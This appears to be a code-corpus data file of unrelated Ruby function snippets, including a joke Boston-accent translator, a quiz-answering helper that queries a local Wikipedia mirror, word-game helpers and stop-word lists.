\"here\"\n #hahbah (no taxation without representation, ya dig?) covered under \"lahbah\"\n phrase.gsub!(/\\bHub\\b/i, 'Boston') # the Hub\n\n # I\n phrase.gsub!(/\\b(i)dear\\b/i, '\\1dea') # idear (so THAT'S where all those \"r\"'s went!')\n phrase.gsub!(/\\b(i)ntahfeah\\b/i, '\\1nterfere') # doan wanna intahfeah, ya know?\n\n # J\n phrase.gsub!(/\\b(a)?(j)ah\\b/i, '\\1\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\n phrase.gsub!(/\\bjimmies\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\n phrase.gsub!(/\\bJP\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\n\n # K\n phrase.gsub!(/\\b(k)eggah?(s)\\b/i, '\\1eg party\\2') # kegga, aka something you throw at ya new apahtment in college\n phrase.gsub!(/\\b(k)inda\\b/i, '\\1ind of') #\n\n # L\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\b/i, '\\1lor') # lah (words ending in lah are usually \"ler\", so this looks for the most common ones that should actually be \"lor\" first)\n phrase.gsub!(/([a-z])+ahbah\\b/i, '\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \"laber\"\n phrase.gsub!(/\\b(l)abradoah(s)\\b/i, '\\1abrador\\2') # labradoah retrievah\n phrase.gsub!(/\\bLe(ay|i)?stuh\\b/i, 'Leicester') # Leicester\n phrase.gsub!(/\\bLem(o|i)nstah\\b/i, 'Leominster') # Leominster\n phrase.gsub!(/\\bLight Dawns ovah? Mahblehead\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\n phrase.gsub!(/\\b(l)iquah\\b/i, '\\1iquor') # liquah stoah...aka a packie, tbh\n phrase.gsub!(/\\blotta\\b/i, 'lot of') # lotta\n\n # M\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \"mer\")\n phrase.gsub!(/\\b(m)ajah\\b/i, '\\1ajor') # majah league baseball\n phrase.gsub!(/\\bmasshole\\b/i, 'a proud jerk from Massachusetts') # massholes :)\n phrase.gsub!(/\\b(m)ayah\\b/i, '\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\n phrase.gsub!(/\\b(Mehfuh|Meffid|Medfid)\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\n phrase.gsub(/ministah\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\n\n # N\n phrase.gsub!(/\\b(nawht|naht)\\b/, 'not') # naht/nawt\n phrase.gsub!(/\\bnooyawka\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\n phrase.gsub!(/(semi|so|lu)nah\\b/i, '\\1nar') # \"nah\" ending words that aren't \"ner\"...seminah, solah\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\n phrase.gsub!(/\\bneighbahood\\b/i, 'neighborhood') # neighbahood\n\n # O\n phrase.gsub!(/\\b(o)ah\\b/, '\\1ur') # oah (this is ah (our) city!)\n phrase.gsub!(/(o)ffah/i, '\\1ffer') # offah\n phrase.gsub!(/onna(-|\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\n phrase.gsub!(/\\bopen ai(r|h)\\b/i, 'drive in movie') # open air (drive in movie theatre)\n phrase.gsub!(/(o)thah/i, '\\1ther') # othah (and also containing words like anothah or brothah)\n phrase.gsub!(/(o)vah/i, '\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\n phrase.gsub!(/(o)wah\\b/i, '\\1wer') # owah (all words ending in \"ower\", powah, flowah, etc)\n\n # P\n phrase.gsub!(/\\bpackie\\b/i, 'liquor store') # packie\n phrase.gsub!(/\\bpeab('dee|dee|ody)\\b/i, 'Peabody') # Peabody\n phrase.gsub!(/\\b(p)lenny\\b/i, '\\1lenty') # plenny ah beahs in the fridge\n phrase.gsub!(/\\bpissah?\\b/i, 'cool') # wicked pissah\n phrase.gsub!(/\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\n\n # Q\n phrase.gsub!(/\\bquality\\b/i, 'worthless') # sarcasm at its finest\n phrase.gsub!(/\\bQuinzee\\b/i, 'Quincy') # Quincy\n\n # R\n phrase.gsub!(/\\b(r)adah?\\b/i, '\\1adar') # radah (cops runnin the radah around to cawnah)\n phrase.gsub!(/\\brahya\\b/i, 'rare') # rahya (wicked rahya steak)\n phrase.gsub!(/\\b(r)apshah?\\b/i, '\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\n phrase.gsub!(/\\b(r)awregg\\b/i, '\\1aw egg') # rawregg can give ya salmonella\n phrase.gsub!(/\\b(r)eahview\\b/i, '\\1earview') # reahview (mirror)\n phrase.gsub!(/\\b(r)emembah\\b/i, '\\1emember') # remembah (when govahment centah was open?)\n phrase.gsub!(/\\breveah\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\n phrase.gsub!(/\\brotary\\b/i, 'traffic circle') # second left on tha rotary\n\n # S\n phrase.gsub!(/\\bsangwich\\b/i, 'sandwich') # sangwich\n phrase.gsub!(/\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\b/i, 'Saturday') # Satahday\n phrase.gsub!(/\\bsat(a|i)hdiz\\b/i, 'Saturdays') # Satahdays\n phrase.gsub!(/\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\n phrase.gsub!(/soah\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\n phrase.gsub!(/\\b(s)o do(an|n'?t) i\\b/i, '\\1o do I') # So do(a)n't I!\n phrase.gsub!(/\\bsouthie\\b/i, 'South Boston') # Southie\n phrase.gsub!(/\\bspa\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\n phrase.gsub!(/\\b(co|lode|mega|supah|)?stah\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\n phrase.gsub!(/\\bsuppah?\\b/i, 'dinner') # suppah\n phrase.gsub!(/\\bsweet caroline\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\n\n # T\n phrase.gsub!(/\\bthe T\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \"unusable death trap\"\n # \"theah\" is covered under \"h\" in the heah substitution\n phrase.gsub!(/\\btah\\b/i, 'to') # tah (ready tah go!)\n phrase.gsub!(/\\btawnic\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\n phrase.gsub!(/\\btempasha(h)?\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\n phrase.gsub!(/\\b(t)ha\\b/i, '\\1he') # tha\n phrase.gsub!(/thah?\\b/i, 'ther') # brothah, fathah, mothah, etc. (matches on 92 english words ending in \"ther\")\n phrase.gsub!(/\\bthi(h)?d\\b/i, 'third') # stealin' thihd\n phrase.gsub!(/\\bthree deckah?\\b/i, 'three story house') # usually three units\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\1ture') # sha sound on end of certain \"ture\" ending words\n\n # U\n phrase.gsub!(/(u)ndah/i, '\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\n phrase.gsub!(/\\b(u)ey\\b/i, '\\1-turn') # U-turn\n\n # V\n phrase.gsub!(/\\b(v)endah(s)\\b/i, '\\1endor') # vendah(s) (fenway franks, anybody?)\n phrase.gsub!(/\\bvin(yihd|yahd)\\b/i, 'Martha\\'s Vineyard') # mahtha's vinyihd\n phrase.gsub!(/\\b(fahv|fehv|flav|sav|surviv)ah\\b/i, '\\1or') # \"vah\" words that are \"vor\"\n\n # W\n phrase.gsub!(/\\b(w)atah\\b/i, '\\1ater') # watah (as in \"love that dirty\")\n phrase.gsub!(/\\bwah\\b/i, 'war') # wah\n phrase.gsub!(/\\bWal(ltham|thumb)\\b/i, 'Waltham') # home of Brandeis\n phrase.gsub!(/\\bwanna go\\?\\b/i, 'let\\'s fight outside') # wanna go?\n phrase.gsub!(/\\b(w)e(eahd|eid|ahd|eihd)\\b/i, '\\1eird') # weeid\n # wheah is covered under \"t\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\n phrase.gsub!(/\\bwhole nothah?\\b/i, 'a complete replacement') # I gotta whole notha cah\n phrase.gsub!(/\\bweah\\b/i, 'were') # wheah weah ya?\n phrase.gsub!(/\\b(w)eathah\\b/i, '\\1eather') # wetheah (some weah havin!)\n phrase.gsub!(/\\bwicked\\b/i, 'really') # wicked (wicked weeid kid)\n phrase.gsub!(/\\bwuhst(u|a)h\\b/i, 'Worcester') # Worcester\n\n # X\n\n # Y\n phrase.gsub!(/\\b(y)a\\b/i, '\\1ou') # ya goin to the game?\n phrase.gsub!(/\\b(y)ar(?=\\s?i)/i, '\\1eah ') # yarit's awesome -> yeah it's awesome\n phrase.gsub!(/\\b(y)oah\\b/i, '\\1our') # yoah\n\n # Z\n\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\n # This will help translate commonly used words and broadly applicable use-cases. They are\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\n # uncommon/edge cases, you should get good results.\n\n phrase.gsub!(/atah(s)?\\b/i, 'ator\\1') # \"atah\" (words ending in \"ator\"...decoratah, delegatah)\n phrase.gsub!(/(a)wl(l)?/i, '\\1l\\2') # \"awl\" (going to the mawll, fawllin' down, cawll ya mothah etc)\n phrase.gsub!(/bah(s)?\\b/i, 'ber\\1') # \"bah\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\n phrase.gsub!(/cah(s)?\\b/i, 'cer\\1') # \"cah\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\n phrase.gsub!(/dah(s)?\\b/i, 'der\\1') # \"dah\" (words ending in dah...chowdah?).\n phrase.gsub!(/eah(s)?\\b/i, 'ear\\1') # \"eah\" (words ending in eah...yeah, cleah)\n phrase.gsub!(/fah(s)?\\b/i, 'fer\\1') # \"fah\" (words ending in fer...offah?).\n phrase.gsub!(/gah(s)?\\b/i, 'ger\\1') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/ha(h)?(s)?\\b/i, 'her\\2') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/iah(d)?/i, 'ire\\1') # \"iahd\" (words ending in ire...tiahd, wiahd or ired...fiahd)\n phrase.gsub!(/in'(?=\\z|\\s)/i, 'ing') # \"in'\" (words ending in ing...bring back the g!).\n phrase.gsub!(/kah(s)?\\b/i, 'ker\\1') # \"kah\" (words ending in ker...smokah)\n phrase.gsub!(/lah(s)?\\b/i, 'lar\\1') # \"lah\" (words ending in lar...molah, pillah)\n phrase.gsub!(/mah(s)?\\b/i, 'mer\\1') # \"mah\" (words ending in mer...swimmah, homah)\n phrase.gsub!(/nah(s)?\\b/i, 'ner\\1') # \"nah\" (words ending in ner...gonah, runnah)\n phrase.gsub!(/layah(s)?\\b/i, 'lare\\1') # \"layah\" (words ending in lare..flayah, declayah)\n phrase.gsub!(/(o)ah(s)?/i, '\\1re\\2') # \"oah\" (stoah, moah)\n phrase.gsub!(/pah(s)?\\b/i, 'per\\1') # \"pah\" (words ending in \"pah\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\n phrase.gsub!(/sah(s)?\\b/i, 'ser\\1') # \"sah\" (words ending in ser...think about ya usah in the browsah)\n phrase.gsub!(/tah(s)?\\b/i, 'ter\\1') # \"tah\" (words ending in ter...watah)\n phrase.gsub!(/uahd(s)?\\b/i, 'ured\\1') # \"uahd\" (words ending in ured...figuahd, injuahd)\n phrase.gsub!(/vah(s)?\\b/i, 'ver\\1') # \"vah\" (words ending in ver...ovah, rivah)\n phrase.gsub!(/wah(s)?\\b/i, 'wer\\1') # \"wah\" (words ending in wer...lawnmowah, towah)\n phrase.gsub!(/xah(s)?\\b/i, 'xer\\1') # \"xah\" (words ending in xer...boxah, mixah)\n phrase.gsub!(/yah(s)?\\b/i, 'yer\\1') # \"yah\" (words ending in yer...foyah, lawyah)\n phrase.gsub!(/zah(s)?\\b/i, 'zer\\1') # \"zah\" (words ending in zer...organizah, seltzah)\n\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\n phrase.gsub!(/ah(?!\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\n\n\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\n\n phrase.gsub!(/\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\n phrase.gsub!(/\\bYankees\\b/i, 'Yankees (suck!)') # Yankees suck okay?\n phrase.gsub!(/\\bJohnny Damon\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\n\n puts \"They said: \" + phrase\n\n # Special \"How Boston Are YOU?\" Beantown Points score for experts! Only shows up for users who earn at least two points.\n\n if beantown_points >= 15\n \tputs \"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\"\n elsif beantown_points < 15 && beantown_points >= 10\n \tputs \"How Boston Are YOU?: Solid work! You probably yell \\\"Yankees Suck\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\"\n elsif beantown_points < 10 && beantown_points >= 5\n \tputs \"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\"\n elsif beantown_points >=2 && beantown_points < 5\n \tputs \"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\"\n end\n\n play_again\n\nend",
"def all_phrases ()\n puts mario\n puts toadstool\n puts link\nend",
"def cartmans_phrase(words)\n puts \"I'm not fat; I'm big-boned!\"\nend",
"def respond_to_guess(guess)\n\t\t@guessed_letters << guess\n\t\t@secret_word.split(\"\").include?(guess)\t\n\tend",
"def borrow(speech)\n answer = []\n speech.split(' ').each do |word|\n word.split('').each do |char|\n ascii = char.ord\n if (ascii >= 97 && ascii <= 122) || (ascii >= 65 && ascii <= 90)\n answer << char.downcase\n end\n end\n end\n answer.join\nend",
"def highlight_blacklisted_words\n params[:comment_text]&.gsub(/(#{Regexp.union(BLACKLISTED_WORDS).source})/i) { |s| \"<<#{s}>>\" }\n end",
"def test_small_words_within_phrase\n %w( a an and as at but by en for if in of on or the to v v. via vs vs. ).each do |word|\n \n # Test in a string\n original_str = @str.join( \" #{word} \" ) + \".\"\n assert_equal \"This #{word} Script.\", original_str.titlecase\n \n # Test with uppercase small word\n str = @str.join( \" #{word.capitalize} \" ) + \".\"\n assert_equal \"This #{word} Script.\", str.titlecase\n \n end\n end",
"def kiwixKeywordSearch(question, acc)\n\tif acc[-1] == '2'\n\t\tputs 'end with 2'\n\t\tif acc.length == 2\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*/)[1]\n\t\telse\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*/)[1]\n\t\tend\n\telsif acc[-1] == '3'\n\t\tif acc.length == 2\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*/)[2]\n\t\telse\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*/)[2]\n\t\tend\n\telsif acc.length == 1\n\t\tterm = question[/\\b#{acc[0]}\\w*/]\n\telsif acc.length == 2\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*/]\n\telsif acc.length == 3\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*/]\n\telsif acc.length == 4\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*/]\n\telsif acc.length == 5\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*\\s#{acc[0]}\\w*/]\n\telsif acc.length == 6\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*\\s#{acc[0]}\\w*\\s#{acc[0]}\\w*/]\n\telse \n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*\\s#{acc[0]}\\w*\\s#{acc[0]}\\w*\\s#{acc[0]}\\w*/]\n\tend\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\tprint \"term = \" + term.to_s + \"\\n\\n\"\n\n\tbegin\n\t\taddress ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(term) + '.html'\n\trescue\n\t\tputs \"address encoding error\"\n\t#---------------------------To be removed?\n\thtml = HTTParty.get(address)\n\t#puts html +\"\\n\\n\\n\"\n\treturn html\nend\n\n\n# puts a colour aided wikipedia article to screen, with pnum the number of the paragraph\ndef paras(text, q, aA, aB, aC, aD, pnum = 0)\n\tcommon_words = [\"the\", \"be\", \"of\", \"and\", \"a\", \"is\", \"to\", \"in\", \"he\", \"have\", \"it\", \"that\", \"for\", \"they\", \"I\", \"with\", \"as\", \"not\", \"on\", \"she\", \"at\", \"by\", \"this\", \"we\", \"you\", \"do\", \"but\", \"from\", \"or\", \"which\", \"one\", \"would\", \"all\", \"will\", \"there\", \"say\", \"who\", \"make\", \"when\", \"can\", \"more\", \"if\", \"no\", \"man\", \"out\", \"other\", \"so\", \"what\", \"time\", \"up\", \"go\", \"about\", \"than\", \"into\", \"could\", \"only\", \"these\", \"come\", \"these\", \"some\", \"then\", \"any\"] #, \"state\", \"only\", \"new\", \"year\", \"some\", \"take\", \"come\", \"these\", \"know\", \"see\", \"use\", \"get\", \"like\", \"then\", \"first\", \"any\", \"work\", \"now\", \"may\", \"such\", \"give\", \"over\", \"think\", \"most\", \"even\", \"find\", \"day\", \"also\", \"after\", \"way\", \"many\", \"must\", \"look\", \"before\", \"great\", \"back\", \"through\", \"long\", \"where\", \"much\", \"should\", \"well\", \"people\", \"down\", \"own\", \"just\", \"because\", \"good\", \"each\", \"those\", \"feel\", \"seem\", \"how\", \"high\", \"too\", \"place\", \"little\", \"world\", \"very\", \"still\", \"nation\", \"hand\", \"old\", \"life\", \"tell\", \"write\", \"become\", \"here\", \"show\", \"house\", \"both\"]\n\n\tnumberWords = [\"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\", \"nine\", \"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\", \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\", \"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\", \"ninety\", \"hundred\", \"thousand\", \"million\", \"billion\", \"trillion\"] \n\tnumberWords = Regexp.union(numberWords)\n\n\taWords = []\n\taWords << aA << aB << aC << aD\t\n\tqWords = q.split(\" \")\n\tallWords = aWords + qWords\n \ttext = text.scan(/(\\<p\\>)(.*?)(\\<\\/p\\>)/m).map(&:join)[pnum]\n \twrittenNumbers = []\n\n \tputs \"allWords = \" + allWords.to_s\n\n\n\ttext.gsub!(/<\\/?[^>]*>/,\"\")\n\ttext.gsub!(/( )/,\"\")\n\ttext.gsub!(/(\\[\\d+\\])/,\"\")\n\twrittenNumbers = text.downcase.scan(/\\b#{numberWords}(?:(?:\\s+and\\s+|\\s+)#{numberWords})*\\b/i)\n\twrittenNumbers.concat text.scan(/\\b[\\d\\.*,*]+\\b/)\n\tputs \"writtenNumbers = \" + writtenNumbers.to_s\n\n\taWords.each do |i|\n\t\ti2 = i.gsub(/(\\?|\\.|\\,|\\!)/,\"\")\n\t\tif common_words.include?(i2) == false\n\t\t\ttext.gsub!(/\\b#{i2}\\b/i, orange(i2))\n\t\tend\n\tend\n\n\tqWords.each do |i|\n\t\ti2 = i.gsub(/(\\?|\\.|\\,|\\!)/,\"\")\n\t\tif common_words.include?(i2) == false\n\t\t\ttext.gsub!(/\\b#{i2}\\b/i, pink(i2))\n\t\tend\n\tend\t\t\n\n\twrittenNumbers.each do |wnum|\n\t\tif wnum.numberize != 0 \n\t\t\tputs \"wnum = \" + wnum.numberize.to_s\n\t\tend\n\t\tallWords.each do |qora|\n\t\t\tif qora.numberize != 0\n\t\t\t\tputs \"qora = \" + qora.numberize.to_s \n\t\t\tend \n\t\t\tif wnum.numberize < qora.numberize * 1.05 and wnum.numberize > qora.numberize * 0.95\n\t\t\t\ttext.gsub!(/\\b#{wnum.to_s}\\b/i, blue(wnum.to_s))\n\t\t\tend\n\t\tend\n\tend\n\treturn text\nend\n\n\n\n#returns list of uris from a google search\ndef googleSearch(q, n = 5)\n\n\tsearch = Google::Search::Web.new do |search|\n\t search.query = q\n\t search.size = :small\n\tend\n\tbegin\n\t\turis = search.first(n).map(&:uri)\n\trescue\n\t\t\"uri fault\"\n\tend\n\n\treturn uris\nend\n\n\n#iterably counts number of hits of each answer in a list of uris\ndef hitCount(uris, aA, aB, aC, aD)\n\n\thitCountStart = Time.now\n\taAll = []\n\taAll << aA << aB << aC << aD\n\n countA = 0\n\tcountB = 0\n\tcountC = 0\n\tcountD = 0\n\n\n\taA = aA.downcase\n\taB = aB.downcase\n\taC = aC.downcase\n\taD = aD.downcase\n\t\n\n\taTotal = []\n\tbTotal = []\n\tcTotal = []\n\tdTotal = []\n\n\tplaintexts=[]\n\n\tn = uris.size\n\n\tn.times {|i|\n\t\tif Time.now - hitCountStart < 8\n\t\t\tbegin\n\t\t\t\tbegin\n\t\t\t \tdoc = Nokogiri::HTML(open(uris[i]))\n\t\t\t \tdoc.css('script, link').each { |node| node.remove }\n\t\t\t \t\tplaintexts << doc.css('body').text.downcase.split(\"\\n\"). collect { |line| line.strip }.join(\"\\n\")\n\t\t\t \trescue\n\t\t\t \t\tputs \"Nokogiri could not read\"\n\t\t\t \tend\n\t\t \t#rescue\n\t\t \t#\t\"Nokogiri fault\"\n\n\t\t \t\t\t\t\t\n\t\t\tplaintexts[i].each_line { |bar|\n\n\t\t\t\tbegin\n\t\t\t\t\tcountA += bar.scan(/\\b#{aA}\\b/i).size\n\t\t\t\trescue\n\t\t\t\tend\t\t\t\t\t\n\t\t\t\tbegin\n\t\t\t\t\tcountB += bar.scan(/\\b#{aB}\\b/i).size\n\t\t\t\trescue\n\t\t\t\tend\n\t\t\t\tbegin\t\t\t\t\t\n\t\t\t\t\tcountC += bar.scan(/\\b#{aC}\\b/i).size\n\t\t\t\trescue\n\t\t\t\tend\t\n\t\t\t\tbegin\t\t\t\t\n\t\t\t\t\tcountD += bar.scan(/\\b#{aD}\\b/i).size\n\t\t\t\trescue\n\n\t\t\t\tend\n\n\t\t\t}\n\t\t\tputs \"A = \" + countA.to_s +\t\" B = \" + countB.to_s + \" C = \" + countC.to_s +\t\" D = \" + countD.to_s\n\t\tend\n\tend\n\t}\nend\n\n\ndef definitionAnswers(aA, aB, aC, aD)\n\taAll = []\n\taAll << aA << aB << aC << aD\n\taAll.each do |answer|\n\tif Dictionary.key?(answer)\n\t\tputs \"\\n\" + answer + \": \" + Dictionary[answer] +\"\\n\\n\"\n\telse\n\t\tputs \"\\n\" + answer + ' not found' +\"\\n\\n\"\n\tend\nend\nend\n\n\ndef dots(q, aA, aB, aC, aD)\n\tdotA = q.sub(/\\.\\.\\./,\" \" + aA)[/(‘|').*?(‘|')/][1..-2]\n\tdotB = q.sub(/\\.\\.\\./,\" \" + aB)[/(‘|').*?(‘|')/][1..-2]\n\tdotC = q.sub(/\\.\\.\\./,\" \" + aC)[/(‘|').*?(‘|')/][1..-2]\n\tdotD = q.sub(/\\.\\.\\./,\" \" + aD)[/(‘|').*?(‘|')/][1..-2]\n\t \n\n\taddress1 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotA) + '.html'\n\taddress2 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotB) + '.html'\n\taddress3 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotC) + '.html'\n\taddress4 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotD) + '.html'\n\n\thtmls = []\n\thtmls << HTTParty.get(address1) << HTTParty.get(address2) << HTTParty.get(address3) << HTTParty.get(address4)\n\treturn htmls\nend\nend",
"def show_word(secretword)\n\t\tanswers = []\n\t\tsecretword.length.times do\n\t\t\tanswers.push(\"\")\n\t\tend\n\t\tanswers\n\tend",
"def autocorrect(string)\n\tword_array = string.split\n\tword_array.map! {|w| w.gsub(/^you+\\b|^u\\b/i, \"your sister\")}.join(\" \")\nend",
"def feedback(guess_word)\n guessword_array=guess_word.split(\"\")\n word_array=@word.split(\"\")\n guessword_array.each do |letter|\n if word_array.include?(letter)\n @result[word.index(letter)]=letter\n end\n end\n puts \"here is your feedback: #{@result}\"\n end",
"def interesting_words(sentence, stop_word_array=['a', 'the', 'on'])\n # TODO\nend",
"def clickbait\n bait = [\"Won't Believe\", \"Secret\", \"Top [number]\", \"Guess\"]\n #check inclusion\n if title && !bait.any? { |bait| title.include?(bait) }\n #add errors 'if .. &&..'\n errors.add(:title, \"take me down a click-hole...\")\n end\n end",
"def get_stop_word_array\n\t\treturn ['a','about','above','after','again','against','all','am','an','and','any','are',\"aren't\",'as','at','be','because','been','before','being','below','between','both','but','by',\n\t\t\t\t\"can't\",'cannot','could',\"couldn't\",'did',\"didn't\",'do','does',\"doesn't\",'doing',\"don't\",'down','during','each','few','for','from','further','had',\"hadn't\",'has',\"hasn't\",\n\t\t\t\t'have',\"haven't\",'having','he',\"he'd\",\"he'll\",\"he's\",'her','here',\"here's\",'hers','herself','him','himself','his','how',\"how's\",'i',\"i'd\",\"i'll\",\"i'm\",\"i've\",'if','in','into',\n\t\t\t\t'is',\"isn't\",'it',\"it's\",'its','itself',\"let's\",'me','more','most',\"mustn't\",'my','myself','no','nor','not','of','off','on','once','only','or','other','ought','our','ours',\n\t\t\t\t'ourselves','out','over','own','same',\"shan't\",'she',\"she'd\",\"she'll\",\"she's\",'should',\"shouldn't\",'so','some','such','than','that',\"that's\",'the','their','theirs','them',\n\t\t\t\t'themselves','then','there',\"there's\",'these','they',\"they'd\",\"they'll\",\"they're\",\"they've\",'this','those','through','to','too','under','until','up','very','was',\"wasn't\",\n\t\t\t\t'we',\"we'd\",\"we'll\",\"we're\",\"we've\",'were',\"weren't\",'what',\"what's\",'when',\"when's\",'where',\"where's\",'which','while','who',\"who's\",'whom','why',\"why's\",'with',\"won't\",\n\t\t\t\t'would',\"wouldn't\",'you',\"you'd\",\"you'll\",\"you're\",\"you've\",'your','yours','yourself','yourselves','zero']\n\tend",
"def rhyme?(a,b)\n as = a.gsub /\\W/,\"\"\n bs = b.gsub /\\W/,\"\"\n as.to_phrase.rhymes.flatten.join(\", \").include?(bs.to_phrase.rhymes.flatten.join(\", \")) &&\n (as.length + bs.length < 140)\nend",
"def stop_words\n # Words taken from Jonathan Feinberg's cue.language (via jasondavies.com), see lib/cue.language/license.txt.\n \"i|me|my|myself|we|us|our|ours|ourselves|you|your|yours|yourself|yourselves|he|him|his|himself|she|her|hers|herself|it|its|itself|they|them|their|theirs|themselves|what|which|who|whom|whose|this|that|these|those|am|is|are|was|were|be|been|being|have|has|had|having|do|does|did|doing|will|would|should|can|could|ought|im|youre|hes|shes|its|were|theyre|ive|youve|weve|theyve|id|youd|hed|shed|wed|theyd|ill|youll|hell|shell|well|theyll|isnt|arent|wasnt|werent|hasnt|havent|hadnt|doesnt|dont|didnt|wont|wouldnt|shant|shouldnt|cant|cannot|couldnt|mustnt|lets|thats|whos|whats|heres|theres|whens|wheres|whys|hows|a|an|the|and|but|if|or|because|as|until|while|of|at|by|for|with|about|against|between|into|through|during|before|after|above|below|to|from|up|upon|down|in|out|on|off|over|under|again|further|then|once|here|there|when|where|why|how|all|any|both|each|few|more|most|other|some|such|no|nor|not|only|own|same|so|than|too|very|say|says|said|shall\"\nend",
"def dynamic_phrase_3\r\n one_it = 'one'\r\n\r\n # Verse 0: **Go to the store and buy some more**\r\n if zero_bottles?\r\n 'Go to the store and buy some more'\r\n else\r\n # Verse 1: **it**\r\n if one_bottle?\r\n one_it = 'it'\r\n end\r\n # Verse x: **Take one down and pass it around**\r\n \"Take #{one_it} down and pass it around\"\r\n end\r\n end",
"def whisper_words(words)\n\twhisper = words.map { |word| word.downcase + \"...\"}\n \treturn whisper\nend",
"def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end",
